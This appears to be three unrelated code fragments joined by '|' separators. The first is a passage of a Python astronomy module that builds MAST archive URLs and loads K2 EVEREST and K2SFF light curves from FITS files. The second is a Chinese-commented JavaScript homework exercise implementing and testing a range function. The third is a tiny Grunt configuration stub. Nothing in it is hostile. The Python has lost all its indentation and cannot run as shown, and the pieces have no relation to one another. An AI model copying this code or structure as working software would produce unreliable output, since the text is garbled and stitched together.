http://archive.stsci.edu/hlsps/everest/v2/c06/212400000/32685/hlsp_everest_k2_llc_212432685-c06_kepler_v2.0_lc.fits
"""
if campaign is None:
campaign = self.campaign
id_str = "{0:09d}".format(self.epicid)
url = "https://archive.stsci.edu/hlsps/everest/v2/"
if campaign == 10:
url += "c{0:02d}2/{1}00000/{2}/".format(
campaign, id_str[:4], id_str[4:]
)
fn = "hlsp_everest_k2_llc_{0}-c{1:02d}2_kepler_v2.0_lc.fits".format(
id_str, campaign
)
else:
url += "c{0:02d}/{1}00000/{2}/".format(
campaign, id_str[:4], id_str[4:]
)
fn = "hlsp_everest_k2_llc_{0}-c{1:02d}_kepler_v2.0_lc.fits".format(
id_str, campaign
)
return url + fn, fn
def get_everest_lc(
self,
campaign=None,
flux_type=None,
quality_bitmask=None,
normalize=True,
remove_nans=True,
):
"""
see also https://archive.stsci.edu/k2/hlsp/everest/search.php
flux_type : str
'flux' = PLD-de-trended flux; 'fcor' = de-trended flux with CBV correction
normalize : bool
divide flux (and err) by its median
quality: str
option to choose which cadences will be masked
return_mask : bool
returns time, flux, (err,) mask
"""
flux_type = self.flux_type if flux_type is None else flux_type.upper()
quality_bitmask = (
quality_bitmask
if quality_bitmask is not None
else self.quality_bitmask
)
if campaign is None:
campaign = self.campaign
if self.verbose:
print(
f"Querying EPIC {self.epicid} (campaign {campaign}) EVEREST light curve from MAST..."
)
try:
url, fn = self.get_everest_url_and_fn(campaign)
with fits.open(url) as hl:
if self.verbose:
print(hl.info())
hdr = hl[0].header
assert self.campaign == hdr["CAMPAIGN"]
recarray = hl[1].data
self.everest_recarray = recarray
cols = recarray.columns.names
assert (
flux_type in cols
), f"flux_type={flux_type} not in {cols}"
time = recarray["TIME"]
flux = recarray[flux_type]
err = recarray["FRAW_ERR"]
self.quality = recarray["quality"]
# self.cadenceno = recarray['CADN']
# if flux_type=='FRAW':
# if quality_bitmask!='none':
# #apply Kepler data quality flags based on bitmask on raw flux
# qf = KeplerQualityFlags()
# options = list(qf.OPTIONS.keys())
# assert quality_bitmask in options, f"quality_bitmask={quality_bitmask} not in {options}"
# bitmask = qf.OPTIONS[quality_bitmask]
# qmask = qf.create_quality_mask(self.quality, bitmask)
# time, flux, err = time[qmask], flux[qmask], err[qmask]
self.everest_best_aper_mask = self.best_aper_mask = hl[3].data
# ny, nx = mask.shape
self.everest_best_aper_mask_hdr = hl[3].header
# maskwcs = WCS(self.everest_best_aper_mask_hdr)
# stamp = hdulist[4].data
# first = stamp['STAMP1']
# mid = stamp['STAMP2']
# last = stamp['STAMP3']
# stack = np.nanmedian([first,mid,last], axis=0)
self.hires_img = hl[5].data
self.hires_img_hdr = hl[5].header
# remove nans
if remove_nans:
idx = np.isfinite(time) & np.isfinite(flux)
time, flux, err = time[idx], flux[idx], err[idx]
if normalize:
err /= np.median(flux) # divide by median of raw flux
flux /= np.median(flux)
time += K2_TIME_OFFSET
# hack
lc = _KeplerLightCurve(
time=time,
flux=flux,
flux_err=err,
flux_unit=u.Unit("electron/second"),
# FIXME: only day works when using lc.to_periodogram()
time_format="jd", # TIMEUNIT?
time_scale="tdb", # TIMESYS?
centroid_col=None,
centroid_row=None,
quality=None, # self.quality,
quality_bitmask=quality_bitmask,
cadenceno=self.cadenceno,
targetid=self.epicid,
)
idx = lc.time.argsort()
return lc[idx].copy()
except Exception as e:
print(e)
class K2sff(K2):
"""
K2SFF pipeline
"""
def __init__(
self,
k2id=None,
epicid=None,
campaign=None,
gaiaDR2id=None,
name=None,
ra_deg=None,
dec_deg=None,
quality_bitmask="default",
verbose=True,
clobber=True,
flux_type="flux", # or fcor
):
super().__init__(
epicid=epicid,
campaign=campaign,
gaiaDR2id=gaiaDR2id,
name=name,
ra_deg=ra_deg,
dec_deg=dec_deg,
verbose=verbose,
clobber=clobber,
)
"""
Attributes
----------
"""
self.flux_type = flux_type.upper()
url, filename = self.get_k2sff_url_and_fn()
self.url = url
self.filename = filename
self.quality = None
self.cadenceno = None
self.k2sff_best_aper_mask = None
self.k2sff_header = None
self.k2sff_recarray = None
self.lc_k2sff = self.get_k2sff_lc()
if self.lc_k2sff.campaign is None:
self.lc_k2sff.campaign = self.campaign
def get_k2sff_url_and_fn(self, campaign=None, filetype="fits"):
"""
Note: uses pipeline version 2: https://ui.adsabs.harvard.edu/abs/2015ApJ...800...59V/abstract
c.f. version 1:
https://ui.adsabs.harvard.edu/abs/2014PASP..126..948V/abstract
https://ui.adsabs.harvard.edu/abs/2014arXiv1412.1827V/abstract
version 1 readme: https://archive.stsci.edu/hlsps/k2sff/hlsp_k2sff_k2_lightcurve_all_kepler_v1_readme.txt
fits url e.g.
https://archive.stsci.edu/hlsps/k2sff/c06/212400000/32685/hlsp_k2sff_k2_lightcurve_212432685-c06_kepler_v1_llc.fits
or: allfiles.tar.gz
or: -default-aper.txt
"""
if campaign is None:
campaign = self.campaign
id_str = "{0:09d}".format(self.epicid)
url = "https://archive.stsci.edu/hlsps/k2sff/"
if self.campaign == 10:
url += "c{0:02d}2/{1}00000/{2}/".format(
campaign, id_str[:4], id_str[4:]
)
fn = "hlsp_k2sff_k2_lightcurve_{0}-c{1:02d}2_kepler_v1_llc.{2}".format(
id_str, campaign, filetype
)
else:
url += "c{0:02d}/{1}00000/{2}/".format(
campaign, id_str[:4], id_str[4:]
)
fn = "hlsp_k2sff_k2_lightcurve_{0}-c{1:02d}_kepler_v1_llc.{2}".format(
id_str, campaign, filetype
)
return url + fn, fn
def get_k2sff_lc(
self,
campaign=None,
flux_type="fcor",
quality_bitmask=None,
normalize=True,
remove_nans=True,
):
"""
see also https://archive.stsci.edu/k2/hlsp/k2sff/search.php
Note: 'flux_type'='fraw' is already normalized from the pipeline
so setting normalize=True (dividing again by its mean) only
produces difference of ~0.04 ppt.
"""
flux_type = self.flux_type if flux_type is None else flux_type.upper()
quality_bitmask = (
quality_bitmask
if quality_bitmask is not None
else self.quality_bitmask
)
if campaign is None:
campaign = self.campaign
if self.verbose:
print(
f"Querying EPIC {self.epicid} (campaign {campaign}) K2SFF light curve from MAST..."
)
try:
url, fn = self.get_k2sff_url_and_fn(campaign)
with fits.open(url) as hdulist:
# stacked_img = hdulist[24].data
# hdr = hdulist[24].header
prf_apertures = hdulist[23].data
cir_apertures = hdulist[22].data
# best lc using best aperture mask
lc_hdr = hdulist[1].header
self.k2sff_header = lc_hdr
best_aper_mask_shape = lc_hdr["MASKTYPE"][:3].lower()
best_aper_mask_idx = lc_hdr["MASKINDE"]
if self.verbose:
print(hdulist.info())
print(
f"best aperture: {best_aper_mask_shape} (idx={best_aper_mask_idx})"
)
if best_aper_mask_shape == "cir":
best_aper_mask = cir_apertures[best_aper_mask_idx]
else:
best_aper_mask = prf_apertures[best_aper_mask_idx]
# lightcurves
self.k2sff_best_aper_mask = (
self.best_aper_mask
) = best_aper_mask
recarray = hdulist[1].data
self.k2sff_recarray = recarray
cols = recarray.columns.names
assert (
flux_type in cols
), f"flux_type={flux_type} not in {cols}"
time = recarray["T"]
flux = recarray[flux_type]
if remove_nans:
idx = np.isfinite(time) & np.isfinite(flux)
time, flux = time[idx], flux[idx]
if normalize:
flux /= np.median(flux)
time += K2_TIME_OFFSET
# hack
lc = _KeplerLightCurve(
time=time,
flux=flux,
# flux_err=err,
flux_unit=u.Unit("electron/second"),
# FIXME: only day works when using lc.to_periodogram()
time_format="jd", # TIMEUNIT?
time_scale="tdb", # TIMESYS?
centroid_col=None,
centroid_row=None,
quality=None, # self.quality,
quality_bitmask=quality_bitmask,
cadenceno=self.cadenceno,
targetid=self.epicid,
)
idx = lc.time.argsort()
return lc[idx].copy()
except Exception as e:
print(e)
# get_K2_campaign_fov not as staticmethod so it can be called by plot_k2_campaign_fov
def get_K2_campaign_fov():
"""
K2 campaign FOV footprint in json format
Source:
https://keplerscience.arc.nasa.gov/k2-fields.html
"""
url = "https://raw.githubusercontent.com/KeplerGO/K2FootprintFiles/master/json/k2-footprint.json"
footprint_dict = requests.get(url).json()
return footprint_dict
def get_K2_star_data():
"""
Hardegree-Ullmann+2020:
https://iopscience.iop.org/0067-0049/247/1/28/suppdata/apjsab7230t1_mrt.txt
"""
url = "https://iopscience.iop.org/0067-0049/247/1/28/suppdata/apjsab7230t1_mrt.txt"
fp = Path(DATA_PATH, "apjsab7230t1_mrt.txt")
if not fp.exists():
print("Downloading Table X of Hardegree-Ullmann+2020:")
urlretrieve(url, fp)
print("Saved: ", fp)
# def get_K2_targetlist(campaign, outdir=DATA_PATH, verbose=True):
# """
# campaign: K2 campaign number [0-18]
# """
# if verbose:
# print("Retrieving K2 campaign {} target list...\n".format(campaign))
#
# file_list = sorted(glob(os.path.join(outdir, "*csv")))
#
# if len(file_list) == 0:
# link = (
# "https://keplerscience.arc.nasa.gov/data/campaigns/c"
# + str(campaign)
# + "/K2Campaign"
# + str(campaign)
# + "targets.csv"
# )
# d = pd.read_csv(link)
# d = clean_df(d)
# if not os.path.exists(outdir):
# os.makedirs(outdir)
# name = link.split("/"[-1])
# outpath = os.path.join(outdir, name)
# targets.to_csv(outpath)
# else:
# fp = os.path.join(outdir, "K2Campaign" + str(campaign) + "targets.csv")
#
# dtypes = {
# "EPIC": int,
# "RA": float,
# "Dec": float,
# "Kp": float,
# "InvestigationIDs": str,
# }
# d = pd.read_csv(fp, delimiter=",", skipinitialspace=True, dtype=dtypes)
# targets = clean_df(d)
#
# # targets = targets.replace(r'^\s+$', np.nan, regex=True)
# return targets
|
// 作业 7
// 实现函数
// var range1 = function(start, end) { }
//
// start end 都是 int
//
// 返回一个 array, 假设 start 为 1, end 为 5, 返回数据如下
// [1, 2, 3, 4]
// 以下是提交作业代码
/* ------------------------------------------------------------------------- */
var log = console.log.bind(console)
var ensure = function(condition, message) {
if (!condition) {
log("测试失败:", condition, "->", message)
} else {
log("测试成功:", condition)
}
}
var arrayEquals = function(arr1, arr2) {
if (arr1.length != arr2.length) {
return false
}
for (var i = 0; i < arr1.length; i++) {
if (arr1[i] != arr2[i]) {
return false
}
}
return true
}
var range1 = function(start, end) {
var arr = []
for (var i = start; i < end; i++) {
arr.push(i)
}
return arr
}
var testRange1 = function() {
var test1 = range1(1, 5)
var test2 = range1(3, 9)
ensure(arrayEquals(test1, [1, 2, 3, 4]), 'range1 test 1')
ensure(arrayEquals(test2, [3, 4, 5, 6, 7, 8]), 'range1 test 2')
}
testRange1()
|
module.exports = {
options: {
allJSconf: '<%= yeoman.src %>/js/allJS.conf'
},
}; |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.